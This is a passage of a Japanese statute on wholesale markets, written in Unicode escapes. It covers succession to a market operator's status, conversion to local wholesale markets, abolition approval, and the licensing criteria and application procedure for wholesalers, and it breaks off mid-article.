\n\uff12\n\n\u3000\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5730\u4f4d\u306e\u627f\u7d99\u304c\u3042\u3064\u305f\u3068\u304d\u306f\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u5f93\u524d\u306e\u958b\u8a2d\u8005\u306b\u5bfe\u3059\u308b\u7b2c\u516b\u6761\u306e\u8a8d\u53ef\u306f\u3001\u305d\u306e\u52b9\u529b\u3092\u5931\u3046\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e5d\u6761\u53ca\u3073\u7b2c\u5341\u6761\uff08\u540c\u6761\u7b2c\u4e09\u53f7\u53ca\u3073\u7b2c\u56db\u53f7\u306b\u4fc2\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u306e\u898f\u5b9a\u306f\u3001\u7b2c\u4e00\u9805\u306e\u8a8d\u53ef\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u958b\u8a2d\u8005\u306e\u5730\u4f4d\u306e\u627f\u7d99\u306e\u52b9\u679c\uff09\n\u7b2c\u5341\u4e09\u6761\u306e\u56db\n\n\u3000\u524d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5730\u4f4d\u306e\u627f\u7d99\u5f8c\u306e\u4e2d\u592e\u5378\u58f2\u5e02\u5834\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u65b0\u5378\u58f2\u5e02\u5834\u300d\u3068\u3044\u3046\u3002\uff09\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u65b0\u696d\u52d9\u898f\u7a0b\u300d\u3068\u3044\u3046\u3002\uff09\u304c\u6b21\u306b\u63b2\u3052\u308b\u8981\u4ef6\u3092\u6e80\u305f\u3059\u5834\u5408\u306b\u306f\u3001\u540c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5730\u4f4d\u306e\u627f\u7d99\u524d\u306e\u4e2d\u592e\u5378\u58f2\u5e02\u5834\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u65e7\u5378\u58f2\u5e02\u5834\u300d\u3068\u3044\u3046\u3002\uff09\u306e\u5378\u58f2\u696d\u8005\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u65e7\u5378\u58f2\u5e02\u5834\u5378\u58f2\u696d\u8005\u300d\u3068\u3044\u3046\u3002\uff09\u306f\u3001\u65b0\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u65e7\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306b\u4fc2\u308b\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3068\u540c\u4e00\u306e\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u3068\u3057\u3066\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u3082\u306e\u3068\u307f\u306a\u3059\u3002\n\u4e00\n\n\u3000\u65b0\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u3089\u308c\u305f\u53d6\u6271\u54c1\u76ee\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u304c\u65e7\u5378\u58f2\u5e02\u5834\u5378\u58f2\u696d\u8005\u306b\u3064\u3044\u3066\u306e\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306e\u3059\u3079\u3066\u3092\u542b\u3093\u3067\u3044\u308b\u3053\u3068\u3002\n\n\u4e8c\n\n\u3000\u65b0\u696d\u52d9\u898f\u7a0b\u3067\u65b0\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u306e\u6570\u306e\u6700\u9ad8\u9650\u5ea6\u304c\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u3001\u5f53\u8a72\u6570\u306e\u6700\u9ad8\u9650\u5ea6\u304c\u65e7\u5378\u58f2\u5e02\u5834\u5378\u58f2\u696d\u8005\u306e\u6570\u3092\u4e0b\u56de\u3064\u3066\u3044\u306a\u3044\u3053\u3068\u3002\n\n\n\uff12\n\n\u3000\u65b0\u696d\u52d9\u898f\u7a0b\u304c\u6b21\u306b\u63b2\u3052\u308b\u8981\u4ef6\u3092\u6e80\u305f\u3059\u5834\u5408\u306b\u306f\u3001\u65e7\u5378\u58f2\u5e02\u5834\u306e\u4ef2\u5378\u696d\u8005\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u65e7\u5378\u58f2\u5e02\u5834\u4ef2\u5378\u696d\u8005\u300d\u3068\u3044\u3046\u3002\uff09\u306f\u3001\u65b0\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u65e7\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u4ef2\u5378\u3057\u306e\u696d\u52d9\u306b\u4fc2\u308b\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3068\u540c\u4e00\u306e\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u4ef2\u5378\u3057\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u3068\u3057\u3066\u7b2c\u4e09\u5341\u4e09\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u3082\u306e\u3068\u307f\u306a\u3059\u3002\n\u4e00\n\n\u3000\u65b0\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u3089\u308c\u305f\u53d6\u6271\u54c1\u76ee\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u304c\u65e7\u5378\u58f2\u5e02\u5834\u4ef2\u5378\u696d\u8005\u306b\u3064\u3044\u3066\u306e\u7b2c\u4e09\u5341\u4e09\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306e\u3059\u3079\u3066\u3092\u542b\u3093\u3067\u3044\u308b\u3053\u3068\u3002\n\n\u4e8c\n\n\u3000\u65b0\u696d\u52d9\u898f\u7a0b\u3067\u65b0\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u4ef2\u5378\u3057\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u306e\u6570\u306e\u6700\u9ad8\u9650\u5ea6\u304c\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u3001\u5f53\u8a72\u6570\u306e\u6700\u9ad8\u9650\u5ea6\u304c\u65e7\u5378\u58f2\u5e02\u5834\u4ef2\u5378\u696d\u8005\u306e\u6570\u3092\u4e0b\u56de\u3064\u3066\u3044\u306a\u3044\u3053\u3068\u3002\n\n\n\uff13\n\n\u3000\u524d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5730\u4f4d\u306e\u627f\u7d99\u524d\u306b\u3001\u3053\u306e\u6cd5\u5f8b\u53c8\u306f\u3053\u306e\u6cd5\u5f8b\u306b\u57fa\u3065\u304f\u547d\u4ee4\u306e\u898f\u5b9a\u306b\u3088\u308a\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u304c\u65e7\u5378\u58f2\u5e02\u5834\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3066\u3057\u305f\u51e6\u5206\u3001\u624b\u7d9a\u305d\u306e\u4ed6\u306e\u884c\u70ba\u53c8\u306f\u65e7\u5378\u58f2\u5e02\u5834\u5378\u58f2\u696d\u8005\u304c\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5bfe\u3057\u3066\u3057\u305f\u624b\u7d9a\u305d\u306e\u4ed6\u306e\u884c\u70ba\u306f\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u304c\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u3082\u306e\u3068\u307f\u306a\u3055\u308c\u305f\u8005\u306b\u5bfe\u3057\u3066\u3057\u305f\u51e6\u5206\u3001\u624b\u7d9a\u305d\u306e\u4ed6\u306e\u884c\u70ba\u53c8\u306f\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u3082\u306e\u3068\u307f\u306a\u3055\u308c\u305f\u8005\u304c\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5bfe\u3057\u3066\u3057\u305f\u624b\u7d9a\u305d\u306e\u4ed6\u306e\u884c\u70ba\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3078\u306e\u8ee2\u63db\uff09\n\u7b2c\u5341\u4e09\u6761\u306e\u4e94\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u3067\u5b9a\u3081\u3089\u308c\u305f\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3078\u306e\u8ee2\u63db\u3092\u63a8\u9032\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981\u3068\u8a8d\u3081\u3089\u308c\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u8005\u53c8\u306f\u5f53\u8a72\u958b\u8a2d\u8005\u304b\u3089\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u65bd\u8a2d\u306b\u4fc2\u308b\u6a29\u539f\u3092\u53d6\u5f97\u3057\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3057\u3088\u3046\u3068\u3059\u308b\u8005\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3066\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u8ee2\u63db\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\u306f\u3001\u7b2c\u4e94\u5341\u4e94\u6761\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u3082\u306e\u3068\u307f\u306a\u3059\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8ee2\u63db\u304c\u3042\u3064\u305f\u3068\u304d\u306f\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u7b2c\u516b\u6761\u306e\u8a8d\u53ef\u306f\u3001\u305d\u306e\u52b9\u529b\u3092\u5931\u3046\u3002\n\n\uff14\n\n\u3000\u7b2c\u4e94\u5341\u516d\u6761\u53ca\u3073\u7b2c\u4e94\u5341\u4e03\u6761\u306e\u898f\u5b9a\u306f\u3001\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\uff15\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u3057\u305f\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u305d\u306e\u65e8\u3092\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5831\u544a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3078\u306e\u8ee2\u63db\u306e\u52b9\u679c\uff09\n\u7b2c\u5341\u4e09\u6761\u306e\u516d\n\n\u3000\u524d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8ee2\u63db\u5f8c\u306e\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u3089\u308c\u305f\u53d6\u6271\u54c1\u76ee\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u304c\u540c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8ee2\u63db\u524d\u306e\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u5378\u58f2\u696d\u8005\u306b\u3064\u3044\u3066\u306e\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306e\u3059\u3079\u3066\u3092\u542b\u3093\u3067\u3044\u308b\u5834\u5408\u306b\u306f\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u306f\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306b\u4fc2\u308b\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3068\u540c\u4e00\u306e\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u3068\u3057\u3066\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u3082\u306e\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u5ec3\u6b62\u306e\u8a8d\u53ef\uff09\n\u7b2c\u5341\u56db\u6761\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u5ec3\u6b62\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u5ec3\u6b62\u306b\u3088\u3064\u3066\u4e00\u822c\u6d88\u8cbb\u8005\u53ca\u3073\u95a2\u4fc2\u4e8b\u696d\u8005\u306e\u5229\u76ca\u304c\u5bb3\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u306a\u3044\u3068\u8a8d\u3081\u308b\u3068\u304d\u3067\u306a\u3051\u308c\u3070\u3001\u524d\u9805\u306e\u8a8d\u53ef\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\u3000\u3000\u3000\u3000\u7b2c\u4e8c\u7bc0\u3000\u5378\u58f2\u696d\u8005\u7b49\n\n\n\uff08\u5378\u58f2\u696d\u52d9\u306e\u8a31\u53ef\uff09\n\u7b2c\u5341\u4e94\u6761\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u304a\u3046\u3068\u3059\u308b\u8005\u306f\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u8a31\u53ef\u3092\u53d7\u3051\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u8a31\u53ef\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u5e02\u5834\uff08\u4ee5\u4e0b\u3053\u306e\u7ae0\u306b\u304a\u3044\u3066\u5358\u306b\u300c\u5e02\u5834\u300d\u3068\u3044\u3046\u3002\uff09\u53ca\u3073\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\uff08\u4ee5\u4e0b\u3053\u306e\u7ae0\u306b\u304a\u3044\u3066\u5358\u306b\u300c\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u300d\u3068\u3044\u3046\u3002\uff09\u3054\u3068\u306b\u884c\u306a\u3046\u3002\n\n\n\n\uff08\u8a31\u53ef\u306e\u7533\u8acb\uff09\n\u7b2c\u5341\u516d\u6761\n\n\u3000\u524d\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3088\u3046\u3068\u3059\u308b\u8005\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u3092\u8a18\u8f09\u3057\u305f\u7533\u8acb\u66f8\u3092\u958b\u8a2d\u8005\u3092\u7d4c\u7531\u3057\u3066\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u63d0\u51fa\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u540d\u79f0\u53ca\u3073\u4f4f\u6240\n\n\u4e8c\n\n\u3000\u8cc7\u672c\u91d1\u53c8\u306f\u51fa\u8cc7\u306e\u984d\u53ca\u3073\u5f79\u54e1\u306e\u6c0f\u540d\n\n\u4e09\n\n\u3000\u524d\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u304a\u3046\u3068\u3059\u308b\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\n\n\n\uff12\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u524d\u9805\u306e\u7533\u8acb\u66f8\u3092\u53d7\u7406\u3057\u305f\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u305d\u306e\u7533\u8acb\u66f8\u3092\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u9032\u9054\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u958b\u8a2d\u8005\u306f\u3001\u7533\u8acb\u8005\u304c\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u3053\u3068\u306b\u3064\u3044\u3066\u306e\u610f\u898b\u3092\u4ed8\u3059\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e00\u9805\u306e\u7533\u8acb\u66f8\u306b\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u66f8\u985e\u3092\u6dfb\u9644\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u8a31\u53ef\u306e\u57fa\u6e96\uff09\n\u7b2c\u5341\u4e03\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u7533\u8acb\u304c\u6b21\u306e\u5404\u53f7\u306e\u4e00\u306b\u8a72\u5f53\u3059\u308b\u3068\u304d\u306f\u3001\u540c\u9805\u306e\u8a31\u53ef\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u7533\u8acb\u8005\u304c\u6cd5\u4eba\u3067\u306a\u3044\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u7533\u8acb\u8005\u304c\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u7f70\u91d1\u306e\u5211\u306b\u51e6\u305b\u3089\u308c\u305f\u8005\u3067\u3001\u305d\u306e\u5211\u306e\u57f7\u884c\u3092\u7d42\u308f\u308a\u3001\u53c8\u306f\u305d\u306e\u5211\u306e\u57f7\u884c\u3092\u53d7\u3051\u308b\u3053\u3068\u304c\u306a\u304f\u306a\u3064\u305f\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e09\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u3082\u306e\u3067\u3042\u308b\u3068\u304d\u3002\n\n\u4e09\n\n\u3000\u7533\u8acb\u8005\u304c\u3001\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u3092\u53d7\u3051\u3001\u305d\u306e\u53d6\u6d88\u3057\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e09\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u8005\u3067\u3042\u308b\u3068\u304d\u3002\n\n\u56db\n\n\u3000\u7533\u8acb\u8005\u306e\u696d\u52d9\u3092\u57f7\u884c\u3059\u308b\u5f79\u54e1\u306e\u3046\u3061\u306b\u6b21\u306e\u3044\u305a\u308c\u304b\u306b\u8a72\u5f53\u3059\u308b\u8005\u304c\u3042\u308b\u3068\u304d\u3002\u30a4\u3000\u7834\u7523\u8005\u3067\u5fa9\u6a29\u3092\u5f97\u306a\u3044\u3082\u306e\n\u30ed\u3000\u7981\u932e\u4ee5\u4e0a\u306e\u5211\u306b\u51e6\u305b\u3089\u308c\u305f\u8005\u53c8\u306f\u3053\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u7f70\u91d1\u306e\u5211\u306b\u51e6\u305b\u3089\u308c\u305f\u8005\u3067\u3001\u305d\u306e\u5211\u306e\u57f7\u884c\u3092\u7d42\u308f\u308a\u3001\u53c8\u306f\u305d\u306e\u5211\u306e\u57f7\u884c\u3092\u53d7\u3051\u308b\u3053\u3068\u304c\u306a\u304f\u306a\u3064\u305f\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e09\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u3082\u306e\n\u30cf\u3000\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e8c\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u3092\u53d7\u3051\u305f\u6cd5\u4eba\u306e\u305d\u306e\u51e6\u5206\u3092\u53d7\u3051\u308b\u539f\u56e0\u3068\u306a\u3064\u305f\u4e8b\u9805\u304c\u767a\u751f\u3057\u305f\u5f53\u6642\u73fe\u306b\u305d\u306e\u6cd5\u4eba\u306e\u696d\u52d9\u3092\u57f7\u884c\u3059\u308b\u5f79\u54e1\u3068\u3057\u3066\u5728\u4efb\u3057\u305f\u8005\uff08\u5f53\u8a72\u4e8b\u9805\u306e\u767a\u751f\u3092\u9632\u6b62\u3059\u308b\u305f\u3081\u76f8\u5f53\u306e\u52aa\u529b\u3092\u3057\u305f\u8005\u3067\u305d\u306e\u65e8\u3092\u758e\u660e\u3057\u305f\u3082\u306e\u3092\u9664\u304f\u3002\uff09\u3067\u3001\u305d\u306e\u51e6\u5206\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e09\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u3082\u306e\n\u30cb\u3000\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e09\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u89e3\u4efb\u306e\u547d\u4ee4\u3092\u53d7\u3051\u305f\u6cd5\u4eba\u306e\u5f53\u8a72\u547d\u4ee4\u306b\u3088\u308a\u89e3\u4efb\u3055\u308c\u308b\u3079\u304d\u3082\u306e\u3068\u3055\u308c\u305f\u8005\u3067\u3001\u305d\u306e\u51e6\u5206\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e09\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u3082\u306e\n\n\n\u4e94\n\n\u3000\u7533\u8acb\u8005\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u9069\u78ba\u306b\u9042\u884c\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u77e5\u8b58\u53ca\u3073\u7d4c\u9a13\u3092\u6709\u3059\u308b\u8005\u3067\u306a\u3044\u3068\u304d\u3002\n\n\u516d\n\n\u3000\u7533\u8acb\u8005\u306e\u7d14\u8cc7\u7523\u984d\u304c\u305d\u306e\u7533\u8acb\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u304d\u7b2c\u5341\u4e5d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u7d14\u8cc7\u7523\u57fa\u6e96\u984d\uff08\u305d\u306e\u8005\u304c\u4ed6\u306e\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3066\u3044\u308b\u304b\u53c8\u306f\u305d\u306e\u7533\u8acb\u3092\u3057\u3066\u3044\u308b\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u3001\u5f53\u8a72\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u53ca\u3073\u5f53\u8a72\u4ed6\u306e\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u7b2c\u5341\u4e5d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u7d14\u8cc7\u7523\u57fa\u6e96\u984d\u3092\u5408\u7b97\u3057\u305f\u984d\uff09\u3092\u4e0b\u3064\u3066\u3044\u308b\u3068\u304d\u3002\n\n\u4e03\n\n\u3000\u696d\u52d9\u898f\u7a0b\u3067\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u306e\u6570\u306e\u6700\u9ad8\u9650\u5ea6\u304c\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u3001\u305d\u306e\u8a31\u53ef\u3092\u3059\u308b\u3053\u3068\u306b\u3088\u3064\u3066\u5378\u58f2\u696d\u8005\u306e\u6570\u304c\u5f53\u8a72\u6700\u9ad8\u9650\u5ea6\u3092\u8d85\u3048\u308b\u3053\u3068\u3068\u306a\u308b\u3068\u304d\u3002\n\n\n\uff12\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u7533\u8acb\u3092\u3057\u305f\u8005\u304c\u7b2c\u4e8c\u5341\u4e94\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u3092\u53d7\u3051\u3001\u305d\u306e\u53d6\u6d88\u3057\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u8005\u3067\u3042\u308b\u3068\u304d\u306f\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u3057\u306a\u3044\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e00\u9805\u7b2c\u516d\u53f7\u306e\u7d14\u8cc7\u7523\u984d\u306f\u3001\u8cc7\u7523\u306e\u5408\u8a08\u91d1\u984d\u304b\u3089\u8ca0\u50b5\u306e\u5408\u8a08\u91d1\u984d\u3092\u63a7\u9664\u3057\u3066\u5f97\u305f\u984d\u3068\u3057\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u8a08\u7b97\u3059\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u51e6\u5206\u306e\u624b\u7d9a\uff09\n\u7b2c\u5341\u516b\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\